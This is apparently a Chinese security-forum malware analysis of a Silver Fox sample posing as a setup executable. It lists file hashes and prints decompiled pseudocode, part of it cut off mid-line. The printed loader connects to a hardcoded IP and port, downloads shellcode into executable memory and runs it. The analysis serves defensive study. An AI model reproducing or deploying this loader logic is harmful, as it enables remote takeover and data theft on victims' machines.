1. 背景
1.1 病毒介绍
银狐病毒自2022年起活跃,主要针对中国用户和企事业单位,尤其是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播,包括伪装为税务、财务相关文件的钓鱼邮件、社交平台的恶意链接,以及利用SEO(搜索引擎优化)确保其钓鱼网站在中国搜索引擎中的排名靠前。此外,银狐还结合恶意广告投放和多次电子邮件钓鱼活动,分发远程管理木马(RATs),以实现对受害者设备的远程控制和数据窃取。 以下为近期捕获到的一起银狐病毒样本,我们对其进行了深入分析。
2. 文件分析
2.1 基本信息
文件名明细查看_Setup.exe大小2.67 MB操作系统Windows(Vista)模式32 位类型EXEC字节序LEMD51a416558435d62dcca79346e6b839370SHA1039e938f5af45edc168c6aa6ebe450f2bc7eddd7SHA256035d72733b7ef722b7a8c7f067ff558f04c737cf0231aea54a6567a39ef84aea
2.1.1 程序执行流程
程序执行流程如下,通过多次远程加载shellcode执行远控
2.1.2 初次远程加载shellcode
程序入口为start
其中第一个函数便是用于加载shellcode的
遍历函数数组逐个执行函数 复制代码 隐藏代码int shellcode_execute_1(){int result; // eaxint v1; // ediint v2; // ebxvoid (*v3)(void); // esiunsigned int v4[6]; // BYREFint v5; // int savedregs; // BYREFresult = dword_6827D0;if ( dword_6827D0 ){v1 = *(_DWORD *)dword_6827D0;v2 = 0;v5 = *(_DWORD *)(dword_6827D0 + 4);v4[2] = (unsigned int)&savedregs;v4[1] = (unsigned int)&loc_40508D;v4[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;__writefsdword(0, (unsigned int)v4);if ( v1 > 0 ){do{v3 = *(void (**)(void))(v5 + 8 * v2++);dword_6827D4 = v2;if ( v3 )v3();}while ( v1 > v2 );}result = 0;__writefsdword(0, v4[0]);}return result;}
如下
最后执行用于远程加载shellcode的函数 复制代码 隐藏代码int sub_65D174(){int v1; // BYREF_DWORD v2[4]; // BYREFint (__stdcall *VirtualAlloc)(_DWORD, int, int, int); // void (__stdcall *WSAStartup)(int, int *); // int (__stdcall *socket)(int, int, _DWORD); // int (__stdcall *htons)(int); // void (__stdcall *connect)(int, _WORD *, int); // int (__stdcall *recv)(int, char *, int, _DWORD); // int v9; // int v10; // _WORD v11[2]; // BYREFint ip_addr; // int (*v13)(void); // int v14; // char v15[8]; // BYREFchar v16[8]; // BYREFint v17; // int v18; // sub_65D284(v2);v13 = (int (*)(void))VirtualAlloc(0, 122880, 12288, 64);v17 = 0;v10 = 4096;v9 = 118784;WSAStartup(514, &v1);v14 = socket(2, 1, 0);v11[0] = 2;v11[1] = htons(8852);ip_addr = 0xF511FB9C;connect(v14, v11, 16);while ( 1 ){v18 = recv(v14, (char *)v13 + v17, 4096, 0);if ( v18 ai_socktype, i->ai_protocol);if ( s == -1 ){WSACleanup();exit(0);}v7 = connect(s, i->ai_addr, i->ai_addrlen);if ( v7 != -1 )break;closesocket(s);s = -1;}freeaddrinfo(ppResult);if ( s == -1 ){WSACleanup();exit(0);}v8 = 0;ElementCount = 0;Size = 4096;Block = malloc(0x1000u);while ( 1 ){v8 = recv(s, (char *)Block + ElementCount, Size - ElementCount, 0);if ( v8
回帖(2):